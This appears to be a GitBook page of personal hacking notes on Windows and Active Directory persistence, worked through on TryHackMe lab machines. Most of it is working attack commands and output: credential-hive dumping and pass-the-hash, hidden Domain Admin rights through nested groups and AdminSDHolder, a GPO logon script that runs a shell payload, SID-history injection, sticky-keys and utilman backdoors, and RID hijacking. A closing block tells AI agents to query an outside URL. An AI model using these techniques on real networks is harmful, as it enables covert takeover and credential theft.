# 6. Persistence

## Group Membership

### Special Groups

Adding to Admin group

```bash
C:\\> net localgroup administrators thmuser0 /add
```

Adding to `Backup Operators` group. Users in this group won't have administrative privileges but will be allowed to read/write any file or registry key on the system, ignoring any configured DACL.

This would allow us to copy the content of the SAM and SYSTEM registry hives, which we can then use to recover the password hashes for all the users, enabling us to escalate to any administrative account

```bash
C:\\> net localgroup "Backup Operators" thmuser1 /add

# we also need to add them to RDP/WinRM access groups
C:\\> net localgroup "Remote Management Users" thmuser1 /add
C:\\> net localgroup "Remote Desktop Users" thmuser1 /add
```

After logging in via `Backup Operators`, you have to change your local account token filter

```bash
C:\\> reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
```

Using Evil-WinRM to download the SAM and SYSTEM files

```
*Evil-WinRM* PS C:\\> reg save hklm\\system system.bak
    The operation completed successfully.

*Evil-WinRM* PS C:\\> reg save hklm\\sam sam.bak
    The operation completed successfully.

*Evil-WinRM* PS C:\\> download system.bak
    Info: Download successful!

*Evil-WinRM* PS C:\\> download sam.bak
    Info: Download successful!
```

Cracking it with impacket

```
user@AttackBox$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL

Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0x41325422ca00e6552bb6508215d8b426
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1cea1d7e8899f69e89088c4cb4bbdaa3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9657e898170eb98b25861ef9cafe5bd6:::
thmuser1:1011:aad3b435b51404eeaad3b435b51404ee:e41fd391af74400faa4ff75868c93cce:::
[*] Cleaning up...
```

PTH

```bash
user@AttackBox$ evil-winrm -i MACHINE_IP -u Administrator -H 1cea1d7e8899f69e89088c4cb4bbdaa3
```

### Nested Groups

Although `Domain Admin` and `Enterprise Admin` groups are all powerful, we should not always aim for high privileged groups as they are closely monitored

Creating Nested Groups for obfuscation

{% code overflow="wrap" %}

```bash
PS C:\\Users\\Administrator.ZA>New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 1" -SamAccountName "<username>_nestgroup1" -DisplayName "<username> Nest Group 1" -GroupScope Global -GroupCategory Security

PS C:\\Users\\Administrator.ZA>New-ADGroup -Path "OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 2" -SamAccountName "<username>_nestgroup2" -DisplayName "<username> Nest Group 2" -GroupScope Global -GroupCategory Security

```

{% endcode %}

Adding `nest_group2` to `nestgroup1`

{% code overflow="wrap" %}

```bash
PS C:\\Users\\Administrator.ZA>Add-ADGroupMember -Identity "<username>_nestgroup2" -Members "<username>_nestgroup1"
```

{% endcode %}

Repeat it a couple of times

{% code overflow="wrap" %}

```bash
PS C:\\Users\\Administrator.ZA> New-ADGroup -Path "OU=CONSULTING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 3" -SamAccountName "<username>_nestgroup3" -DisplayName "<username> Nest Group 3" -GroupScope Global -GroupCategory Security

PS C:\\Users\\Administrator.ZA> Add-ADGroupMember -Identity "<username>_nestgroup3" -Members "<username>_nestgroup2"

PS C:\\Users\\Administrator.ZA> New-ADGroup -Path "OU=MARKETING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 4" -SamAccountName "<username>_nestgroup4" -DisplayName "<username> Nest Group 4" -GroupScope Global -GroupCategory Security

PS C:\\Users\\Administrator.ZA> Add-ADGroupMember -Identity "<username>_nestgroup4" -Members "<username>_nestgroup3"

PS C:\\Users\\Administrator.ZA> New-ADGroup -Path "OU=IT,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 5" -SamAccountName "<username>_nestgroup5" -DisplayName "<username> Nest Group 5" -GroupScope Global -GroupCategory Security

PS C:\\Users\\Administrator.ZA> Add-ADGroupMember -Identity "<username>_nestgroup5" -Members "<username>_nestgroup4"
```

{% endcode %}

Add the whole nested group into `Domain Admins`

{% code overflow="wrap" %}

```bash
PS C:\\Users\\Administrator.ZA>Add-ADGroupMember -Identity "Domain Admins" -Members "<username>_nestgroup5"
```

{% endcode %}

Add our account to `nestgroup1`. Because it’s now a child of `Domain Admins`, it will inherit those privileges

{% code overflow="wrap" %}

```bash
PS C:\\Users\\Administrator.ZA>Add-ADGroupMember -Identity "<username>_nestgroup1" -Members "<low privileged username>"
```

{% endcode %}

## AdminSDHolder

Group memberships can be removed, but AD group templates can persist and update our persistence once it refreshes, even if our membership was removed.

One such template is the `AdminSDHolder` container which exists in every AD domain. Its Access Control List (ACL) is used as a template to copy permissions to all protected groups such as `Domain Admins`, `Administrators`, `Enterprise Admins`, and `Schema Admins`

A process called `SDProp` takes the ACL of the `AdminSDHolder` container and applies it to all protected groups every 60 minutes.

If we modify `AdminSDHolder` and add our account, we will have consistent admin privileges.

Open `mmc`, and add the Users and Groups Snap-in (`File->Add Snap-In->Active Directory Users and Computers`). Make sure to enable Advanced Features (`View->Advanced Features`). We can find the `AdminSDHolder` group under `Domain->System`:

<figure><img src="/files/PwPtQflZwEHXm3W7g7SV" alt=""><figcaption></figcaption></figure>

Navigate to the Security of the group (`Right-click->Properties->Security`):

<figure><img src="/files/PZhaKU1D1vgQhKVw6e3W" alt=""><figcaption></figcaption></figure>

* Click **Add**.
* Search for your low-privileged username and click **Check Names**.
* Click **OK**.
* Click **Allow** on **Full Control**.
* Click **Apply**.
* Click **OK**.

<figure><img src="/files/ig4hKztxBBcLzfbukTQQ" alt=""><figcaption></figcaption></figure>

Now we just need to wait 60 minutes, and our user will have full control over all Protected Groups, or we can invoke the process manually using PowerShell

```bash
PS C:\\Tools> Import-Module .\\Invoke-ADSDPropagation.ps1 
PS C:\\Tools> Invoke-ADSDPropagation
```

## Persistence through GPOs

Create a script on the victim machine `persist.bat` with the contents:

```bash
copy \\\\za.tryhackme.loc\\sysvol\\za.tryhackme.loc\\scripts\\<username>_shell.exe C:\\tmp\\<username>_shell.exe && timeout /t 20 && C:\\tmp\\<username>_shell.exe
```

This copies the payload from `SYSVOL` to the localhost and executes it

Copy the shell and the script to `SYSVOL`

```bash
$thm scp am0_shell.exe za\\\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/

$thm scp am0_script.bat za\\\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/
```

Create a new GPO that will be applied to all admins, so we get an admin that executes the script on login to get an admin shell

1. In your runas-spawned terminal, type MMC and press enter.
2. Click on **File**>**Add/Remove Snap-in...**
3. Select the **Group Policy Management** snap-in and click **Add**
4. Click **OK**

<figure><img src="/files/0djLfBIOLB8OyRo8uVIq" alt=""><figcaption></figcaption></figure>

Right-click on the Admins OU and select Create a GPO in this domain

<figure><img src="/files/4AkscUES5gX2lBNmTd42" alt=""><figcaption></figcaption></figure>

Right-click on your policy and select Enforced.

In the Group Policy Management Editor:

1. Under User Configuration, expand **Policies->Windows Settings**.
2. Select **Scripts (Logon/Logoff)**.
3. Right-click on **Logon->Properties**
4. Select the **Scripts** tab.
5. Click **Add->Browse**.
6. Add our `persist.bat`

## Persistence Through SID History

SIDs are used to track the security principal and the account's access when connecting to resources

We require Domain Admin privileges for this attack

Checking SID history

{% code overflow="wrap" %}

```bash
PS C:\\Users\\Administrator.ZA> Get-ADUser <your ad username> -properties sidhistory,memberof

DistinguishedName : CN=aaron.jones,OU=Consulting,OU=People,DC=za,DC=tryhackme,DC=loc
Enabled           : True
GivenName         : Aaron
MemberOf          : {CN=Internet Access,OU=Groups,DC=za,DC=tryhackme,DC=loc}
Name              : aaron.jones
ObjectClass       : user
ObjectGUID        : 7d4c08e5-05b6-45c4-920d-2a6dbba4ca22
SamAccountName    : aaron.jones
SID               : S-1-5-21-3885271727-2693558621-2658995185-1429
SIDHistory        : {}  <-- empty history
Surname           : Jones
UserPrincipalName :
```

{% endcode %}

Patching SID History

{% code overflow="wrap" %}

```bash
PS C:\\Users\\Administrator.ZA>Stop-Service -Name ntds -force 
PS C:\\Users\\Administrator.ZA> Add-ADDBSidHistory -SamAccountName 'username of our low-priveleged AD account' -SidHistory 'SID to add to SID History' -DatabasePath C:\\Windows\\NTDS\\ntds.dit 
PS C:\\Users\\Administrator.ZA>Start-Service -Name ntds
```

{% endcode %}

Rerun to check SID history

{% code overflow="wrap" %}

```bash
PS C:\\Users\\aaron.jones> Get-ADUser aaron.jones -Properties sidhistory

DistinguishedName : CN=aaron.jones,OU=Consulting,OU=People,DC=za,DC=tryhackme,DC=loc
Enabled : True
GivenName : Aaron
Name : aaron.jones
ObjectClass : user
ObjectGUID : 7d4c08e5-05b6-45c4-920d-2a6dbba4ca22
SamAccountName : aaron.jones
SIDHistory : {S-1-5-21-3885271727-2693558621-2658995185-512} <-- patched!
Surname : Jones
UserPrincipalName :
```

{% endcode %}

## Scheduled Task

Creating a task

{% code overflow="wrap" %}

```
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00

schtasks /s TARGET /run /TN "THMtask1"
```

{% endcode %}

Deleting the task

```
schtasks /S TARGET /TN "THMtask1" /DELETE /F
```

## sc.exe

* **Ports:**
  * 135/TCP, 49152-65535/TCP (DCE/RPC)
  * 445/TCP (RPC over SMB Named Pipes)
  * 139/TCP (RPC over SMB Named Pipes)
* **Required Group Memberships:** Administrators

Create a service on the remote machine using `sc.exe`

{% code overflow="wrap" %}

```
C:\> sc.exe \\thmiis.za.tryhackme.com create THMservice-new binPath= "%windir%\myservice.exe" start= auto

C:\> sc.exe \\thmiis.za.tryhackme.com start THMservice-new
```

{% endcode %}

`%windir%\myservice.exe` will be executed when the service is started

To stop and delete the service, we can then execute the following commands:

```
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice
```

## Startup Apps

* Applications which has shortcuts in `C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup` will be started when any user logs in to the machine.
* If we write our payload here and an admin logs in, our payload will be executed with admin privileges
* ***They have to be shortcuts**!*

Script for creating shortcuts in `C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup` (if it’s writable)

{% code overflow="wrap" %}

```powershell
> type CreateShortcut.vbs
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\rev.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\\path\\to\\payload.exe"
oLink.Save

> cscript CreateShortcut.vbs
```

{% endcode %}

## Sticky Keys

After pressing `SHIFT` 5 times, Windows will execute the binary in `C:\\Windows\\System32\\sethc.exe`

If we replace the binary with our payload, it will execute

```
C:\\> takeown /f c:\\Windows\\System32\\sethc.exe

SUCCESS: The file (or folder): "c:\\Windows\\System32\\sethc.exe" now owned by user "PURECHAOS\\Administrator".

C:\\> icacls C:\\Windows\\System32\\sethc.exe /grant Administrator:F
processed file: C:\\Windows\\System32\\sethc.exe
Successfully processed 1 files; Failed processing 0 files

C:\\> copy c:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\sethc.exe
Overwrite C:\\Windows\\System32\\sethc.exe? (Yes/No/All): yes
        1 file(s) copied.
```

## Utilman

```
C:\\> takeown /f c:\\Windows\\System32\\utilman.exe

SUCCESS: The file (or folder): "c:\\Windows\\System32\\utilman.exe" now owned by user "PURECHAOS\\Administrator".

C:\\> icacls C:\\Windows\\System32\\utilman.exe /grant Administrator:F
processed file: C:\\Windows\\System32\\utilman.exe
Successfully processed 1 files; Failed processing 0 files

C:\\> copy c:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\utilman.exe
Overwrite C:\\Windows\\System32\\utilman.exe? (Yes/No/All): yes
        1 file(s) copied.
```

## Login Triggered

### Startup programs

`C:\\Users\\<your_username>\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup` stores executables to be run whenever the user logs in

If we want to force all users to run a payload while logging in, we can use the folder under `C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp`

### Run / RunOnce

Force a user to execute a program on logon via the registry by using the following registry entries to specify applications to run at logon:

* `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`
* `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce`
* `HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`
* `HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce`

Any program specified under the `Run` keys will run every time the user logs on. Programs specified under the `RunOnce` keys will only be executed a single time.

<figure><img src="/files/GgORZPBmGQ5zV8PhFtla" alt=""><figcaption></figcaption></figure>

### Winlogon

Winlogon uses some registry keys under

`HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\`

* `Userinit` points to `userinit.exe`, which is in charge of restoring your user profile preferences.
* `shell` points to the system's shell, which is usually `explorer.exe`.

If we'd replace any of the executables, we would break the logon sequence, but you can append commands separated by a comma and Winlogon will process them all.

<figure><img src="/files/BT27smG0k1k4jIm4rIGe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/eXDdwxaWj56eyrwRkTl6" alt=""><figcaption></figcaption></figure>

### Logon Scripts

One of the things `userinit.exe` does while loading your user profile is to check for an environment variable called `UserInitMprLogonScript` and executes any commands there

<figure><img src="/files/epyOBxcZhvd8nP4iInjU" alt=""><figcaption></figcaption></figure>

## File Associations

The default operating system file associations are kept inside the registry, where a key is stored for every single file type under `HKLM\\Software\\Classes\\`.

Checking which program is used to open `.txt` files; we can check for the `.txt` subkey and find which **Programmatic ID (ProgID)** is associated with it.

A ProgID is an identifier to a program installed on the system. For .txt files, we will have a ProgID of `txtfile`

<figure><img src="/files/vfVYOy0VQEV1hjZ7WkZ8" alt=""><figcaption></figcaption></figure>

After getting `txtfile` we find which Program is used to run `txtfile` in `shell\\open\\command`

<figure><img src="/files/9SMW30CsHnlVyih1eWzJ" alt=""><figcaption></figcaption></figure>

We can change the value of `shell\\open\\command` to specify any program we want to run

<figure><img src="/files/50WFshfHyzeOVniSeaKm" alt=""><figcaption></figcaption></figure>

## RID Hijacking

When a user is created, an identifier called **`Relative ID` (RID)** is assigned to them.

When a user logs on, the LSASS process gets its RID from the SAM registry hive and creates an access token associated with that RID.

If we can tamper with the registry value, we can make windows assign an Administrator access token to an unprivileged user by associating the same RID to both accounts.

In any Windows system, the default Administrator account is assigned the **`RID = 500`**, and regular users usually have **`RID >= 1000`**.

Getting all RIDs

```bash
C:\\> wmic useraccount get name,sid

Name                SID
Administrator       S-1-5-21-1966530601-3185510712-10604624-500
DefaultAccount      S-1-5-21-1966530601-3185510712-10604624-503
Guest               S-1-5-21-1966530601-3185510712-10604624-501
thmuser1            S-1-5-21-1966530601-3185510712-10604624-1008
thmuser2            S-1-5-21-1966530601-3185510712-10604624-1009
thmuser3            S-1-5-21-1966530601-3185510712-10604624-1010

# The RID is the last bit of the SID (1010 for thmuser3 and 500 for Administrator).
```

Edit the SAM in Regedit. You need to use SYSTEM account for this, and not just an Administrator account

```bash
C:\\tools\\pstools> PsExec64.exe -i -s regedit
```

Go to `HKLM\\SAM\\SAM\\Domains\\Account\\Users\\`

Since we want to modify thmuser3, we need to search for a key with its RID in hex (1010 = 0x3F2)

Under the corresponding key, there will be a value called **F**, which holds the user's effective RID at position 0x30:

<figure><img src="/files/GdmNZcMbIoVkcxHa0U6D" alt=""><figcaption></figcaption></figure>

The RID is stored using little-endian notation, so its bytes appear reversed.

Replace those two bytes with the RID of Administrator in hex (500 = 0x01F4), switching around the bytes (F401):

<figure><img src="/files/NawF8RiskDfE4cnhJPwV" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://sheepwall.gitbook.io/home/hacking/windows/6.-persistence.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
